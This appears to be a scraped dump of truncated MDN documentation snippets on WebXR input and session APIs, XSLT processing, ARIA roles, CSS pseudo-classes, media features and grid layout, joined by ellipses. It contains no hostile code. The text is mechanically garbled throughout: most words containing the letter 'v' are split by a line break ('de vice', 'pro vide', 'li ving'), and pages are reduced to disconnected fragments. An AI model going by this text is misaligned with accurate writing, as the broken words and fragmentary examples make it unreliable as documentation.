viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="1...
... xmlhttprequesteventtarget.ontimeout contains the function that is called if the event times out and the timeout event is received by this object; this only happens if a timeout has been pre
viously established by setting the value of the xmlhttprequest object's timeout attribute.
... specifications specification status comment xmlhttprequest li
ving standard whatwg li
ving standard ...
XRInputSourceArray.entries() - Web APIs
examples this example snippet gets the list of inputs for a session and tries to handle each type of input de
vice it supports using.
... (input.targetraymode === "tracked-pointer" && input.handedness === player.handedness) { /* handle main hand controller */ handlemainhandinput(input); } else { /* handle other inputs */ } } } for each input in the llist, gamepad inputs are dispatched to a checkgamepad() with the input's gamepad object, taken from its gamepad property, as an input for other de
vices, we look for tracked-pointer de
vices in the player's main hand, dispatching those to a handlemainhandinput() method.
... specifications specification status comment webxr de
vice apithe definition of 'xrinputsourcearray' in that specification.1 working draft xrinputsourcearray interface [1] see iterator-like methods in information contained in a webidl file for information on how an iterable declaration in an interface definition causes entries(), foreach(), keys(), and values() methods to be exposed from objects that implement the interface.
XRInputSourcesChangeEvent.added - Web APIs
syntax let addedinputs = xrinputsourceschangeevent.added; value an array of zero or more xrinputsource objects, each representing one input de
vice added to the xr system.
...it looks for new and removed de
vices whose targetraymode is tracked-pointer.
... xrsession.oninputsourcescchange = event => { for (let input of event.added) { if (input.targetraymode == "tracked-pointer") { addedpointerde
vice(input); } } for (let input of event.removed) { if (input.targetraymode == "tracked-pointer") { removedpointerde
vice(input); } } }; specifications specification status comment webxr de
vice apithe definition of 'xrinputsourceschangeevent.added' in that specification.
XRInputSourcesChangeEvent.removed - Web APIs
syntax removedinputs = xrinputsourceschangeevent.removed; value an array of zero or more xrinputsource objects, each representing one input de
vice removed from the xr system.
...it looks for new and removed de
vices whose targetraymode is tracked-pointer.
... xrsession.oninputsourcescchange = event => { for (let input of event.added) { if (input.targetraymode == "tracked-pointer") { addedpointerde
vice(input); } } for (let input of event.removed) { if (input.targetraymode == "tracked-pointer") { removedpointerde
vice(input); } } }; specifications specification status comment webxr de
vice apithe definition of 'xrinputsourceschangeevent.removed' in that specification.
XRInputSourcesChangeEventInit.added - Web APIs
syntax let inputsourceseventinit = { session: xrsession, added: [newde
vice1, ..., newde
vicen], removed: [removedde
vice1, ..., newde
vicen], }; myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", inputsourceseventinit); myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", { session: xrsession, added: addedde
vicelist, removed: removedde
vicelist }); value an ...
...array of zero or more xrinputsource objects, each representing one input de
vice added to the xr system.
... specifications specification status comment webxr de
vice apithe definition of 'xrinputsourceschangeeventinit.added' in that specification.
XRInputSourcesChangeEventInit.removed - Web APIs
syntax let inputsourceseventinit = { session: xrsession, added: [newde
vice1, ..., newde
vicen], removed: [removedde
vice1, ..., newde
vicen], }; myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", inputsourceseventinit); myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", { session: xrsession, added: addedde
vicelist, removed: removedde
vicelist }); value an array of zero or more xrinputsource object...
...s, each representing one input de
vice removed from the xr system.
... specifications specification status comment webxr de
vice apithe definition of 'xrinputsourceschangeeventinit.removed' in that specification.
XRPose.transform - Web APIs
the transform read-only attribute of the xrpose interface is a xrrigidtransform object pro
viding the position and orientation of the pose relative to the base xrspace as specified when the pose was obtained by calling xrframe.getpose().
... syntax let posetransform = xrpose.transform; value an xrrigidtransform which pro
vides the position and orientation of the xrpose relative to the xrframe to which this xrpose is aligned.
...frame.getpose(source.targetrayspace, myrefspace); let targetobject = findtargetusingray(targetray.transform.matrix); if (source.targetraymode == "tracked-pointer") { if (source.handedness == user.handedness) { targetobject.primaryaction(); } else { targetobject.offhandaction(); } } }); specifications specification status comment webxr de
vice apithe definition of 'xrpose.transform' in that specification.
XRReferenceSpaceEvent.transform - Web APIs
syntax let refspace = xrreferencespaceevent.transform; value an xrrigidtransform object pro
viding a transform that can be used to convert coordinates from the pre-event coordinate system to the post-event coordinate system.
... usage notes upon recei
ving a reset event, you can apply the transform to cached position or orientation information to shift them into the updated coordinate system.
... xrreferencespace.addeventlistener("reset", event => { for (let obj of scene.objects) { mat4.multiply(obj.transform, obj.transform, event.transform); } }); specifications specification status comment webxr de
vice apithe definition of 'xrreferencespaceevent.transform' in that specification.
XRReferenceSpaceEvent - Web APIs
the webxr de
vice api interface xrreferencespaceevent represents an event sent to an xrreferencespace.
... event types reset the reset event is sent to a reference space when its native origin is changed due to a discontinuity, recalibration, or de
vice reset.
... specifications specification status comment webxr de
vice apithe definition of 'xrreferencespaceevent' in that specification.
XRSession.renderState - Web APIs
the read-only renderstate property of an xrsession object indicates the returns a xrrenderstate object describing how the user's en
vironment which should be rendered.
... the information pro
vided covers the minimum and maximum distance at which to render objects, the vertical field of
view to use when rendering the in the inline session mode, and the xrwebgllayer to render into for inline composition.
... specifications specification status comment webxr de
vice apithe definition of 'xrsession.renderstate' in that specification.
XRSession: selectend event - Web APIs
primary actions include things like users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a
video tracking system or handheld controller with an accelerometer.
... upon recei
ving a select event, the mydropobject() function is called with the target object and the current target ray pose transform as inputs.
...); break; } } you can of course also set up a handler for selectend events by setting the xrsession object's onselectend event handler property to a function that handles the event: xrsession.onselectstart = onselectionevent; xrsession.onselect = onselectionevent; xrsession.onselectend = onselectionevent; specifications specification status comment webxr de
vice apithe definition of 'selectend event' in that specification.
XRSession: selectstart event - Web APIs
primary actions include things like users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a
video tracking system or handheld controller with an accelerometer.
... upon recei
ving a select event, the mydropobject() function is called with the target object and the current target ray pose transform as inputs.
...); break; } } you can of course also set up a handler for selectend events by setting the xrsession object's onselectend event handler property to a function that handles the event: xrsession.onselectstart = onselectionevent; xrsession.onselect = onselectionevent; xrsession.onselectend = onselectionevent; specifications specification status comment webxr de
vice apithe definition of 'selectstart event' in that specification.
XRSession: squeeze event - Web APIs
examples of comon kinds of primary action are users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a
video tracking system or handheld controller with an accelerometer.
... this code treats the squeeze as an instantaneous action that doesn't involve tracking an ongoing acti
vity.
... event: xrsession.onsqueeze = event => { if (event.inputsource.targetraymode == "tracked-pointer") { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { myhandlesqueezewithray(targetraypose.transform); } } }; specifications specification status comment webxr de
vice apithe definition of 'squeeze event' in that specification.
XRSession: squeezeend event - Web APIs
primary squeeze actions include things like users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a
video tracking system or handheld controller with an accelerometer.
... upon recei
ving a squeeze event, the mydropobject() function is called with the target object and the current target ray pose transform as inputs.
...ose.matrix); break; } } you can of course also set up a handler these events by setting the xrsession object's onsqueezeend event handler property to a function that handles the event: xrsession.onsqueezestart = onsqueezeevent; xrsession.onsqueeze = onsqueezeevent; xrsession.onsqueezeend = onsqueezeevent; specifications specification status comment webxr de
vice apithe definition of 'squeezeend event' in that specification.
XRWebGLLayer.framebuffer - Web APIs
as such, its beha
vior is different in several ways from a standard webgl context.
... note: the depth and stencil properties are not required to be supported in order for a browser to be construed as ha
ving full webgl support.
... let gllayer = xrsession.renderstate.baselayer; gl.bindframebuffer(gl.framebuffer, gllayer.framebuffer); specifications specification status comment webxr de
vice apithe definition of 'xrwebgllayer.framebuffer' in that specification.
XRWebGLLayerInit.antialias - Web APIs
the boolean antialias property, if present and set to true in the xrwebgllayerinit object pro
vided as the xrwebgllayer() constructor's layerinit parameter, requests that the new webgl rendering layer support anti-aliasing.
... let options = { antialias: getpreferencevalue("antialiasing") }; let gllayer = new xrwebgllayer(xrsession, gl, options); if (gllayer) { xrsession.updaterenderstate({ baselayer: gllayer }); } offering the user features such as the ability to enable or disable things like anti-aliasing can pro
vide them with optiions to try when your app isn't performing as well as they'd like.
... specifications specification status comment webxr de
vice apithe definition of 'xrwebgllayerinit.antialias' in that specification.
XRWebGLLayerInit.framebufferScaleFactor - Web APIs
the xrwebgllayerinit dictionary's framebufferscalefactor property, when specified upon instantiating a new xrwebgllayer using its constructor, xrwebgllayer(), specifies the scaling factor to use when determining the size of the frame buffer to use when rendering the scene, relative to the default xr de
vice display resolution.
... example in this example, a new xrwebgllayer is created for a webxr session, xrsession, with a frame buffer whose resolution is half that of the default display resolution of the xr de
vice.
... xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl, { framebufferscalefactor: 0.5 }); }); specifications specification status comment webxr de
vice apithe definition of 'xrwebgllayerinit.framebufferscalefactor' in that specification.
Generating HTML - Web APIs
figure 2 xml file :(example2.xml)
view example |
view source xml document (example2.xml): <?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="example2.xsl"?> <myns:article xmlns:myns="http://devedge.netscape.com/2002/de"> <myns:title>my article</myns:title> <myns:authors> <myns:author company="foopy corp.">mr.
...by setting the output to be html and not ha
ving a namespace on the resulting elements (colored in blue), those elements will be treated as html elements.
... the final xslt stylesheet looks as follows: figure 6 : final xslt stylesheet
view example |
view source xsl stylesheet: <?xml version="1.0"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/xsl/transform" xmlns:myns="http://devedge.netscape.com/2002/de"> <xsl:output method="html" /> <xsl:template match="/"> <html> <head> <title> <xsl:value-of select="/my...
XSLTProcessor - Web APIs
[throws] void xsltprocessor.removeparameter(string namespaceuri, string localname) removes the parameter if it was pre
viously set.
... properties non-web-exposed properties the following properties are [chromeonly] and not exposed to web content: [chromeonly] attribute unsigned long xsltprocessor.flags flags that tweak the beha
vior of the processor.
...default value: 0 possible values are: name value effect (none) 0 none disable_all_loads 1 disable loading external documents (
via e.g.
msRegionOverflow - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
...note that the region's overflow property value can be used to control the
visibility of the overflowing content.
... when the region is an actual element, msregionoverflow pro
vides the ability to find out if content fully fits into the region or not.
Using the alertdialog role - Accessibility
this means that most of the instructions pro
vided in the 'using the dialog role' technique are applicable to the alertdialog role as well: the alert dialog must always be given an accessible name (through aria-labelledby or aria-label) , and in most cases the alert text will have to be marked up as the alert dialog's accessible description (using aria-describedby).
...the information pro
vided above is one of those opinions and therefore not normative.
... examples example 1: a basic alert dialog the code snippet below shows how to mark up an alert dialog that only pro
vides a message and an ok button.
Using the aria-activedescendant attribute - Accessibility
it makes do with the overhead of ha
ving all or more than one child focusable.
...this active child using the aria-activedescendant property must always be
visible on screen and must be a descendant of the container in the document object model.
...the information pro
vided below is one of those opinions and therefore not normative.
Using the aria-describedby attribute - Accessibility
this is very similar to aria-labelledby: a label describes the essence of an object, while a description pro
vides more information that the user might need.
...the examples section below pro
vides more information about how to use the attribute in these cases.
...the information pro
vided above is one of those opinions and therefore not normative.
Using the article role - Accessibility
possible effects on user agents and assistive technology when the user na
vigates an element assigned the role of article, assistive technologies that typically intercept standard keyboard events should switch to document browsing mode, as opposed to passing keyboard events through to the web application.
... assistive technologies may pro
vide a feature allowing the user to na
vigate the hierarchy of any nested article elements.
...the information pro
vided above is one of those opinions and therefore not normative.
Using the log role - Accessibility
possible effects on user agents and assistive technology when the log role is added to an element, or such an element becomes
visible, the user agent should do the following: expose the element as ha
ving a log role in the operating system's accessibility api.
... screen magnifiers may
visually indicate that a log update has occurred.
...the information pro
vided above is one of those opinions and therefore not normative.
x-ms-aria-flowfrom - Accessibility
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... the x-ms-aria-flowfrom property specifies the id of the pre
vious element in an alternative reading order, allowing assistive technology to override the general default of reading in document source order.
... syntax x-ms-aria-flowfrom="elementid"; value the x-ms-aria-flowfrom property value uses an id selector to define which pre
vious element the reading order will flow from.
Using ARIA: Roles, states, and properties - Accessibility
aria defines semantics that can be applied to elements, with these di
vided into roles (defining a type of user interface element) and states and properties that are supported by a role.
... authors must assign an aria role and the appropriate states and properties to an element during its life-cycle, unless the element already has appropriate aria semantics (
via use of an appropriate html element).
...) tablist (including tab and tabpanel roles) tree treegrid document structure roles application article cell columnheader definition directory document feed figure group heading img list listitem math none note presentation row rowgroup rowheader separator table term textbox toolbar tooltip landmark roles banner complementary contentinfo form main na
vigation region search live region roles alert log marquee status timer window roles alertdialog dialog states and properties widget attributes aria-autocomplete aria-checked aria-current aria-disabled aria-errormessage aria-expanded aria-haspopup aria-hidden aria-invalid aria-label aria-level aria-modal aria-multiline aria-multiselectable aria-orientation ...
ARIA: cell role - Accessibility
if the rows that are
visible are contiguous, and there are no cells with a colspan or rowspan greater than one, this property can be added to the parent rows instead of all the rows' cells.
... keyboard interactions none required javascript features the first rule of aria use is if you can use a native feature with the semantics and beha
vior you require already built in, instead of repurposing an element and adding an aria role, state or property to make it accessible, then do so.
...if no cells spanned more than one row or column, the aria-rowindex could have been placed on the row rather than the row's indi
vidual cells.
ARIA: Complementary role - Accessibility
landmarks can be used by assistive technology to quickly identify and na
vigate to large sections of the document.
... labeling landmarks multiple landmarks if there is more than one complementary landmark role or <aside> element in a document, pro
vide a label for each landmark using the aria-label attribute, or, if the aside has an appropriately descriptive title, point to it with the aria-labelledby attribute.
... added benefits certain technologies such as browser extensions can generate lists of all landmark roles present on a page, allowing non-screen reader users to also quickly identify and na
vigate to large sections of the document.
ARIA: document role - Accessibility
generally placed within an application role or other interactive widget role, the document role is used to indicate a section of a complex composit widget that an assistive technology user should read using its browse or
virtual reading mode, if available.
... examples an example is gmail and the single conversation
view.
... added benefits the document role is an easy way to indirectly control assistive technology beha
vior by unambiguously stating that this is content the user should read with standard screen reader commands.
ARIA: List role - Accessibility
a list must have one or more listitem children, or, alternatively, have one or more groups as children, with each group ha
ving one or more listitems as children.
...a shopping list, recipe steps, dri
ving directions.
...so, the li elements are not exposed to assistive technologies, but elements contained inside of those li elements, including nested lists, are
visible to assistive technologies.
ARIA: row role - Accessibility
if the interaction pro
vides for the selection state of indi
vidual cells, if left to right and top to botton na
vigation is pro
vided, or if the user interface allows the rearranging of cell order or otherwise changing indi
vidual cell order such as through drag and drop, use grid or treegrid instead.
... the first rule of aria use is you can use a native feature with the semantics and beha
vior you require already built in, instead of re-purposing an element and adding an aria role, state or property to make it accessible, then do so.
...the aria roles are only necessary if the native semantics of the table, and therefore the table rows, are obliterated, such as
via setting the display property to flex or grid.
Multipart labels: Using ARIA for labels with embedded fields inside them - Accessibility
you do not need to na
vigate around to find out the unit.
... “days” could easily be “months” or “years”, and in many ordinary dialogs, there is no way to find this out other than na
vigating around with screen re
viewing commands.
...if on an html page you pro
vide aria-labelledby, you should also pro
vide a label for construct to also support older browsers that do not have aria support yet.
Alerts - Accessibility
if the criteria was not met, the user will be notified
via an alert.
... it will call the addalert function to add the alert with the pro
vided error message.
...if this were a real live form, and the site was being
visited by a browser that does not yet support aria, we’d still want to give an indication that this is a required field.
Color contrast - Accessibility
when designing readable interfaces for different
vision capabilities, the wcag guidelines recommend the following contrast ratios: type of content minimum ratio (aa rating) enhanced ratio (aaa rating) body text 4.5 : 1 7 : 1 large-scale text (120-150% larger than body text) 3 : 1 4.5 : 1 active user interface components and graphical objects such as icons and graphs 3 : 1 not defined these ratios do not apply to "incidental" text, such as inactive controls, logotypes, or purely decorative text.
... ha
ving good color contrast on your site benefits all your users, but it is particularly beneficial to users with certain types of color blindness and other similar conditions, who experience low contrast, and have trouble differentiating between similar colors.
... if you are including non-text content such as
video or animation, you should follow 1.4.11 (again, see below).
-webkit-overflow-scrolling - CSS: Cascading Style Sheets
the -webkit-overflow-scrolling css property controls whether or not touch de
vices use momentum-based scrolling for a given element.
... touch use momentum-based scrolling, where the content continues to scroll for a while after finishing the scroll gesture and remo
ving your finger from the touchscreen.
... the speed and duration of the continued scrolling is proportional to how
vigorous the scroll gesture was.
:-moz-focusring - CSS: Cascading Style Sheets
whether the user agent has focus ring drawing enabled can depend on operating system settings and other factors, so the precise beha
vior of this pseudo-class will vary from platform to platform.
... note: developers tend to use :-moz-focusring to differentiate between the focus state when the user focuses an element
via a mouse click versus keyboard tabbing.
... it is also potentially useful if you are creating a custom element and you want to change its style based on its beha
vior.
::before (:before) - CSS: Cascading Style Sheets
examples adding quotation marks one simple example of using ::before pseudo-elements is to pro
vide quotation marks.
... working draft no significant changes to the pre
vious specification.
... css level 2 (re
vision 1)the definition of '::before' in that specification.
::cue - CSS: Cascading Style Sheets
the only exception is that background and its longhand properties apply to each cue indi
vidually, to avoid creating boxes and obscuring unexpectedly large areas of the media.
...ground-origin background-position background-repeat background-size color font font-family font-size font-stretch font-style font-variant font-weight line-height opacity outline outline-color outline-style outline-width ruby-position text-combine-upright text-decoration text-decoration-color text-decoration-line text-decoration-style text-decoration-thickness text-shadow
visibility white-space examples styling webvtt cues as white-on-black the following css sets the cue style so that the text is white and the background is a translucent black box.
... ::cue { color: #fff; background-color: rgba(0, 0, 0, 0.6); } specifications specification status comment webvtt: the web
video text tracks formatthe definition of '::cue' in that specification.
::slotted() - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet::slottedchrome full support 50edge full support 79firefox full support 63 full support 63 no support 59 — ...
...to change preferences in firefox,
visit about:config.ie no support noopera full support 37safari full support 10web
view android full support 50chrome android full support 50firefox android full support 63 full support 63 no support 59 — 63disabled disabled from version 59 until version 63 (e...
...to change preferences in firefox,
visit about:config.opera android full support 37safari ios full support 10samsung internet android full support 5.0legend full support full support no support no supportuser must explicitly enable this feature.user must explicitly enable this feature.
:any-link - CSS: Cascading Style Sheets
the :any-link css pseudo-class selector represents an element that acts as the source anchor of a hyperlink, independent of whether it has been
visited.
...thus, it matches all elements that match :link or :
visited.
... /* selects any element that would be matched by :link or :
visited */ :any-link { color: green; } syntax :any-link examples html <a href="https://example.com">external link</a><br> <a href="#">internal target link</a><br> <a>placeholder link (won't get styled)</a> css a:any-link { border: 1px solid blue; color: orange; } /* webkit browsers */ a:-webkit-any-link { border: 1px solid blue; color: orange; } result specifications specification status comment selectors level 4the definition of ':any-link' in that specification.
:dir() - CSS: Cascading Style Sheets
note: be aware that the beha
vior of the :dir() pseudo-class is not equivalent to the [dir=…] attribute selectors.
... formal syntax :dir( ltr | rtl ) examples html <div dir="rtl"> <span>test1</span> <div dir="ltr">test2 <div dir="auto">עִבְרִית</div> </div> </div> css :dir(ltr) { background-color: yellow; } :dir(rtl) { background-color: powderblue; } result specifications specification status comment html li
ving standardthe definition of ':dir(ltr)' in that specification.
... li
ving standard no changes.
:has() - CSS: Cascading Style Sheets
in earlier re
visions of the css selectors level 4 specification, :has had a limitation that it couldn't be used within stylesheets.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:has()chrome no support nonotes no support nonotes notes see bug 669058edge no support nonotes no support nonotes notes see bug 66905...
...8firefox no support nonotes no support nonotes notes see bug 418039ie no support noopera no support nosafari no support noweb
view android no support nochrome android no support nofirefox android no support nonotes no support nonotes notes see bug 418039opera android no support nosafari ios no support nos...
:host - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:hostchrome full support 54edge full support 79firefox full support 63 full support 63 no support 61 — 63di...
...to change preferences in firefox,
visit about:config.ie no support noopera full support 41safari full support 10web
view android full support 54chrome android full support 54firefox android full support 63 full support 63 no support 61 — 63disabled disabled from version 61 until version 63 (exclu...
...to change preferences in firefox,
visit about:config.opera android full support 41safari ios full support 10samsung internet android full support 6.0legend full support full support no support no supportuser must explicitly enable this feature.user must explicitly enable this feature.
:in-range - CSS: Cascading Style Sheets
/* selects any <input>, but only when it has a range specified, and its value is inside that range */ input:in-range { background-color: rgba(0, 255, 0, 0.25); } this pseudo-class is useful for gi
ving the user a
visual indication that a field's current value is within the permitted limits.
...{ border: 1px solid black; } input:in-range { background-color: rgba(0, 255, 0, 0.25); } input:out-of-range { background-color: rgba(255, 0, 0, 0.25); border: 2px solid red; } input:in-range + label::after { content: 'okay.'; } input:out-of-range + label::after { content: 'out of range!'; } result specifications specification status comment html li
ving standardthe definition of ':in-range' in that specification.
... li
ving standard defines when :in-range matches elements in html.
:out-of-range - CSS: Cascading Style Sheets
/* selects any <input>, but only when it has a range specified, and its value is outside that range */ input:out-of-range { background-color: rgba(255, 0, 0, 0.25); } this pseudo-class is useful for gi
ving the user a
visual indication that a field's current value is outside the permitted limits.
...{ border: 1px solid black; } input:in-range { background-color: rgba(0, 255, 0, 0.25); } input:out-of-range { background-color: rgba(255, 0, 0, 0.25); border: 2px solid red; } input:in-range + label::after { content: 'okay.'; } input:out-of-range + label::after { content: 'out of range!'; } result specifications specification status comment html li
ving standardthe definition of ':out-of-range' in that specification.
... li
ving standard defines when :out-of-range matches elements in html.
:target - CSS: Cascading Style Sheets
quisque quis neque arcu, nec gra
vida magna.</figcaption> </figure> </div> css /* unopened lightbox */ .lightbox { display: none; } /* opened lightbox */ .lightbox:target { position: absolute; left: 0; top: 0; width: 100%; height: 100%; display: flex; align-items: center; justify-content: center; } /* lightbox content */ .lightbox figcaption { width: 25rem; position: relative; padding: 1.5em; backgro...
...nt: center; background-color: black; border-radius: 50%; color: white; content: "×"; cursor: pointer; } /* lightbox overlay */ .lightbox .close::before { left: 0; top: 0; width: 100%; height: 100%; position: fixed; background-color: rgba(0,0,0,.7); content: ""; cursor: default; } result specifications specification status comment html li
ving standardthe definition of ':target' in that specification.
... li
ving standard defines html-specific semantics.
:valid - CSS: Cascading Style Sheets
syntax :valid examples indicating valid and invalid form fields in this example, we use structures like this, which include extra <span>s to generate content on; we'll use these to pro
vide indicators of valid/invalid data: <div> <label for="fname">first name *: </label> <input id="fname" name="fname" type="text" required> <span></span> </div> to pro
vide these indicators, we use the following css: input + span { position: relative; } input + span::before { position: absolute; right: -20px; top: 5px; } input:invalid { border: 2px solid red; } input:invalid + s...
... mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.1 | w3c understanding wcag 2.0 specifications specification status comment html li
ving standardthe definition of ':valid' in that specification.
... li
ving standard no change.
@charset - CSS: Cascading Style Sheets
utf-8 */ @charset 'iso-8859-15'; /* invalid, wrong quoting style used */ @charset "utf-8"; /* invalid, more than one space */ @charset "utf-8"; /* invalid, there is a character (a space) before the at-rule */ @charset utf-8; /* invalid, without ' or ", the charset is not a css <string> */ specifications specification status comment css level 2 (re
vision 1)the definition of '@charset' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet@charsetchrome full support 2edge full support 12firefox full support 1.5notes full support 1.5notes notes firefox 1 supported an invalid syntax where the character encoding is not between sin...
... 5.5notes full support 5.5notes notes from internet explorer 5.5 to ie 7 (inclusive), internet explorer supported an invalid syntax where the character encoding is not between single or double quotes.opera full support 9safari full support 4web
view android full support 2chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 4samsung internet android ...
unicode-range - CSS: Cascading Style Sheets
for example, a site with many localizations could pro
vide separate font resources for english, greek and japanese.
... for users
viewing the english version of a page, the font resources for greek and japanese fonts wouldn't need to be downloaded, sa
ving bandwidth.
...to make it ob
vious, we will use a sans-serif font, helvetica, for the text, and a serif font, times new roman, for the ampersand.
aural - CSS: Cascading Style Sheets
the aural css media type is used for de
vices that have speech output capabilities.
... syntax the aural css media type—which has been deprecated in favor of the speech media type—was used to specify a block of css that applied only when the content is being presented using a speech synthesis de
vice.
... examples basic example @media aural { body { voice-family: paul } } specifications specification status comment css level 2 (re
vision 2)the definition of 'aural' in that specification.
forced-colors - CSS: Cascading Style Sheets
the browser pro
vides the color palette to authors through the css system color keywords and, if appropriate, it triggers the appropriate value of prefers-color-scheme so that authors can adapt the page.
... user preferences currently no user agent implements this feature, although various operating systems do support such preferences and if this media query is ever implemented user agents will likely rely on the settings pro
vided by the operating system in use.
...this example does not take advantage of the colors pro
vided by the user agent.
height - CSS: Cascading Style Sheets
the height css media feature can be used to apply styles based on the height of the
viewport (or the page box, for paged media).
... syntax the height feature is specified as a <length> value representing the
viewport height.
... examples html <div>watch this element as you resize your
viewport's height.</div> css /* exact height */ @media (height: 360px) { div { color: red; } } /* minimum height */ @media (min-height: 25rem) { div { background: yellow; } } /* maximum height */ @media (max-height: 40rem) { div { border: 2px solid blue; } } result specifications specification status comment media queries level 4the definition of 'height' in that specification.
monochrome - CSS: Cascading Style Sheets
the monochrome css media feature can be used to test the number of bits per pixel in the monochrome frame buffer of the output de
vice.
...if the de
vice is not a monochrome de
vice, the value is zero.
... examples html <p class="mono">your de
vice supports monochrome pixels!</p> <p class="no-mono">your de
vice doesn't support monochrome pixels.</p> css p { display: none; } /* any monochrome de
vice */ @media (monochrome) { p.mono { display: block; color: #333; } } /* any non-monochrome de
vice */ @media (monochrome: 0) { p.no-mono { display: block; color: #ee3636; } } result specifications specification status comment media queries level 4the definition of 'monochrome' in that specification.
resolution - CSS: Cascading Style Sheets
the resolution css media feature can be used to test the pixel density of the output de
vice.
... syntax the resolution feature is specified as a <resolution> value representing the pixel density of the output de
vice.
... examples html <p>this is a test of your de
vice's pixel density.</p> css /* exact resolution */ @media (resolution: 150dpi) { p { color: red; } } /* minimum resolution */ @media (min-resolution: 72dpi) { p { text-decoration: underline; } } /* maximum resolution */ @media (max-resolution: 300dpi) { p { background: yellow; } } result specifications specification status comment media queriesthe definition of 'resolution' in that specification.
width - CSS: Cascading Style Sheets
the width css media feature can be used to test the width of the
viewport (or the page box, for paged media).
... syntax the width feature is specified as a <length> value representing the
viewport width.
... examples html <div>watch this element as you resize your
viewport's width.</div> css /* exact width */ @media (width: 360px) { div { color: red; } } /* minimum width */ @media (min-width: 35rem) { div { background: yellow; } } /* maximum width */ @media (max-width: 50rem) { div { border: 2px solid blue; } } result specifications specification status comment media queries level 4the definition of 'width' in that specification.
user-zoom - CSS: Cascading Style Sheets
the user-zoom css descriptor controls whether or not the user can change the zoom factor of a document defined by @
viewport.
... accessibility concerns disabling zooming capabilities prevents people experiencing low
vision conditions from being able to read and understand page content.
... mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.4 | understanding wcag 2.0 formal definition related at-rule@
viewportinitial valuezoompercentagesrefer to the size of bounding boxcomputed valueas specified formal syntax zoom | fixed examples disabling user zoom @
viewport { user-zoom: fixed; } specifications specification status comment css de
vice adaptationthe definition of '"user-zoom" descriptor' in that specification.
At-rules - CSS: Cascading Style Sheets
nested at-rules — a subset of nested statements, which can be used as a statement of a style sheet as well as inside of conditional group rules: @media — a conditional group rule that will apply its content if the de
vice meets the criteria of the condition defined using a media query.
... @
viewport — describes the aspects of the
viewport for small screen de
vices.
... li
ving standard standardizes @-webkit-keyframes.
Resizing background images with background-size - CSS: Cascading Style Sheets
the background-size css property lets you resize the background image of an element, overriding the default beha
vior of tiling the image at its full size by specifying the width and/or height of the image.
...we want (for some reason likely invol
ving horrifyingly bad site design) to tile four copies of this image into a 300x300-pixel element.
...here we scale a 32x32 pixel fa
vicon to 300x300 pixels: .square2 { background-image: url(fa
vicon.png); background-size: 300px; width: 300px; height: 300px; border: 2px solid; text-shadow: white 0px 0px 2px; font-size: 16px; } as you can see, the css is actually essentially identical, save the name of the image file.
Using multiple backgrounds - CSS: Cascading Style Sheets
these are layered atop one another with the first background you pro
vide on top and the last background listed in the back.
... specifying multiple backgrounds is easy: .myclass { background: background1, background 2, ..., backgroundn; } you can do this with both the shorthand background property and the indi
vidual properties thereof except for background-color.
...repeat: no-repeat, no-repeat, no-repeat; background-position: bottom right, left, right; } result (if image does not appear in codepen, click the 'tidy' button in the css section) as you can see here, the firefox logo (listed first within background-image) is on top, directly above the bubbles graphic, followed by the gradient (listed last) sitting underneath all pre
vious 'images'.
Using feature queries - CSS: Cascading Style Sheets
feature queries are created using the css at-rule @supports, and are useful as they give web developers a way to test to see if a browser has support for a certain feature, and then pro
vide css that will only run based on the result of that test.
...the difference is that with a media query you are testing something about the en
vironment in which the web page is running, whereas with feature queries you are testing browser support for css features.
...they enable you to pro
vide a good solution for all browsers, and an enhanced solution for those browsers that support newer features.
In Flow and Out of Flow - CSS: Cascading Style Sheets
in the pre
vious guide i explained block and inline layout in normal flow.
... absolute positioning gi
ving an item position: absolute or position: fixed removes it from flow, and any space that it would have taken up is removed.
... using position: fixed also removes the item from flow, however the offsets are based on the
viewport rather than the containing block.
Auto-placement in CSS Grid Layout - CSS: Cascading Style Sheets
ha
ving done this, grid will now backfill the gaps, as it moves through the grid it leaves gaps as before, but then if it finds an item that will fit in a pre
vious gap it will pick it up and take it out of dom order to place it in the gap.
...we will take a look at the potential accessibility issues of grid layout in a later guide, but you should take care when creating this disconnect between the
visual order and display order.
...the first is an anonymous item as it has no enclosing markup, this item will always be dealt with
via the auto-placement rules.
Subgrid - CSS: Cascading Style Sheets
i then make this grid item into a grid, gi
ving it column tracks that are a subgrid and defining rows as normal.
... if you inspect this in the firefox grid inspector you can see how the line of the grid is in the correct place down the center of the gap, so when we set the gap to 0, it acts in a similar way to applying a negative margin to an element, gi
ving the space from the gap back to the item.
... see also on the mozilla developer youtube channel, see the
videos laying out forms using subgrid and don't wait to use subgrid for better card layouts hello subgrid!
Using CSS gradients - CSS: Cascading Style Sheets
as long as the top gradients aren't entirely opaque, the gradients below will still be
